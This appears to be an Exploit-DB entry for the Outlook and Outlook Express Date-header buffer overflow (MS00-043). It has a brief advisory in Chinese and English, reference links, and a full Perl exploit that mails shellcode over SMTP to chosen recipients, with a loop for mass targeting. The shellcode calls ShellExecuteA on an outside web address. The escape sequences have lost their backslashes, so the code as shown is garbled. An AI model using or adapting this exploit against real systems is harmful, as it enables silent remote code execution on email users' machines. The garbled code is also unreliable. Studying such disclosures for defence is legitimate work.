https://www.exploit-db.com/exploits/20078
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-048

MicrosoftOutlook和OutlookExpress存在缓冲区溢出漏洞。远程攻击者借助电子邮件头中的超长Date字段执行任意命令，又称为”MalformedE-mailHeader”漏洞。

source: http://www.securityfocus.com/bid/1481/info

All versions of Microsoft Outlook and Outlook Express are vulnerable to buffer overflow attacks where a remote user is capable of executing arbitrary code on an email recipient's system. 

The problem lies in how Outlook and Outlook Express handles the parsing of the GMT section of the date field in the header of an email when downloading via POP3 or IMAP4. This process is handled by INETCOMM.DLL. Improper bounds checking exists on the token represented by GMT. Therefore, if a malicious user was to send a specially crafted email message containing an unusually long value in the GMT specification, the buffer would be overflowed making arbitrary code execution possible. Sending random data could cause the application to crash.

Eg:

Date: Tue, 18 July 2000 14:16:06 +1000<long string of characters>

This can also be achieved by encoding the specially formed GMT field as a MIME attachment in Outlook's MIME attached message format.

This lends itself to the possibility of a myriad of exploits, such as the execution of trojan horses, the spread of worms, gaining user level access on the target host, etc. automatically without the email recipient's consent to open an attachment or run an executable.

A user would only have to download an offending email in order to become susceptible to an attack.

#!/usr/bin/perl
#******************************************************************************
#http://www.ussrback.com Ussr Labs (Exploiteable Buffer Overflow)
# Outlook Express 5.0 | Outlook 2000 | Outlook 97.0 | Outlook 98
#******************************************************************************
#
# By: Ussr Labs
#
# Arbitary shellcode injector over SMTP
# ./$0 -h <server hostname>  -m <mail>
# ./dieoutlook.pl -h <smtp server> -m [email protected]
# 
#
#
#For Multiple email's Spanwn do something like this:
#
# for i in `cat emailshere.txt`; do perl ./outoutlook.pl -h smtpserverip -m $i; done
#
#
#
#


use Getopt::Std;
use Socket;
getopt('h:m', %args);

# user defined variables
if(defined($args{h})){$serv=$args{h}}else{&usage;}
if(defined($args{m})){$rcpt=$args{m}}else{&usage;}

# These are the escape characters which will cause the seg violation.
# *nix didn't like the ascii interpretation, so we send the
# characters in hex.
# +,1 ,� ,^ ,� ,z ,� ,x 

$spawn = "x2bx31x31x31x31x31x31x31x31x31x31x31x31x31x31x31" .
	"x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31" .
	"x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31x31" .
	"x31x31x31x31x31x31x31x31x5axdcxaex20x78x0dx0a";

$shellcode = "xE8x00x00x00x00x5Dx81xEDx40x10x40x00x81xC4x00" .
	"x03x00x00xB8x38x10x00x01x8Bx00x89x85x0Bx11x40x00" .
	"x8CxC8xA8x04x75x08x8Bx85x1Fx11x40x00xEBx06x8Bx85" .
	"x23x11x40x00x89x85x1Fx11x40x00x8Dx8Dx42x11x40x00" .
	"x51x50xFFx95x0Bx11x40x00x89x85x0Fx11x40x00x8Dx8D" .
	"x53x11x40x00x51xFFx95x0Fx11x40x00x8Dx8Dx34x11x40" .
	"x00x51x50xFFx95x0Bx11x40x00x89x85x13x11x40x00x8B" .
	"x85x1Fx11x40x00x8Dx8Dx27x11x40x00x51x50xFFx95x0B" .
	"x11x40x00x89x85x17x11x40x00x8Dx85x1Bx11x40x00x50" .
	"x6Ax00x6Ax00x8Dx85xE3x10x40x00x50x6Ax00x6Ax00x8B" .
	"x85x17x11x40x00xFFxD0xEBxFEx60xE8x00x00x00x00x5D" .
	"x81xEDxE9x10x40x00x6Ax00x6Ax00x6Ax00x8DxB5x5Fx11" .
	"x40x00x56x6Ax00x6Ax00xFFx95x13x11x40x00x61xC2x10" .
	"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" .
	"x00x00x00x00x00x00x00xF0x77x00x00xF7xBFx43x72x65" .
	"x61x74x65x54x68x72x65x61x64x00x53x68x65x6Cx6Cx45" .
	"x78x65x63x75x74x65x41x00x47x65x74x4Dx6Fx64x75x6C" .
	"x65x48x61x6Ex64x6Cx65x41x00x73x68x65x6Cx6Cx33x32" .
	"x2Ex64x6Cx6Cx00x77x77x77x2Ex75x73x73x72x62x61x63" .
	"x6Bx2Ex63x6Fx6Dx00";

$ret = "00aedc5a";						# return address
$nop = "x90";							# x86 NOP
$port = 25;							# default 25 SMTP port
$buffsize = "1348";						# buffer size
$buffer .= $nop x 945;						# load $buffer with 945 NOP then $shellcode
$buffer .= $shellcode;						# append shellcode to buffer
$offset = (hex $ret);						# return hex string to corresponding value
$code = pack("N", $offset);					# big-endian (long) network order
while (length $buffer < $buffsize) { $buffer .= $code; }
$buffer .= "nn";
print "$coden";

# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]

$max=(int rand 15);
@a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
@a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
@dom = ('.com', '.net', '.org');
$rdom = $dom[ rand @dom ];
$rmail = $str . "@" . $host . $dom;
print "random address set to: $rmailn";

# random date method, format: Date: <day>, <int-day> <month> 2000 <time>

@days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
$rday = $days[ rand @days ];
$rcal=(int rand(31));
$rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
$rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
$rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
$rmonth = $months[ rand @months ];
$date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
print "date set to: $daten";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!n");
$proto = getprotobyname('tcp') || die("Error: $!n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!n");
connect(S, $paddr) || die("Error: $!n");
select(S); $| = 1; select(STDOUT);

# begin our SMTP transaction

print "now starting SMTP transactionn";
$res=<S>; print "$resn";
print "sending HELOn";
system("sleep 2s");
print S "HELOrn";
$res=<S>; print "$resn";

print "sending MAIL FROMn";
system("sleep 2s");
print S "MAIL FROM:$rmailrn";
$res=<S>; print "$resn";

print "sending RCPTn";
system("sleep 2s");
print S "RCPT TO:$rcptrn";
$res=<S>; print "$resn";

print "sending DATAn";
system("sleep 2s");
print S "DATArn";
$res=<S>; print "$resn";

print "sending escape charactersn";
print S "$date";
print S " $spawn";

print "sending shellcoden";
print S "$shellcodernrnrn";
#$res=<S>; print "$resn";
print S ".rn";
print S "QUITrn";

print "shellcode spawn was successfuln";
close(S);


sub usage {die("nn./$0 -h <hostname> -m <mail>nn");}

来源:XF
名称:outlook-date-overflow
链接:http://xforce.iss.net/static/4953.php
来源:BID
名称:1481
链接:http://www.securityfocus.com/bid/1481
来源:MS
名称:MS00-043
链接:http://www.microsoft.com/technet/security/bulletin/ms00-043.mspx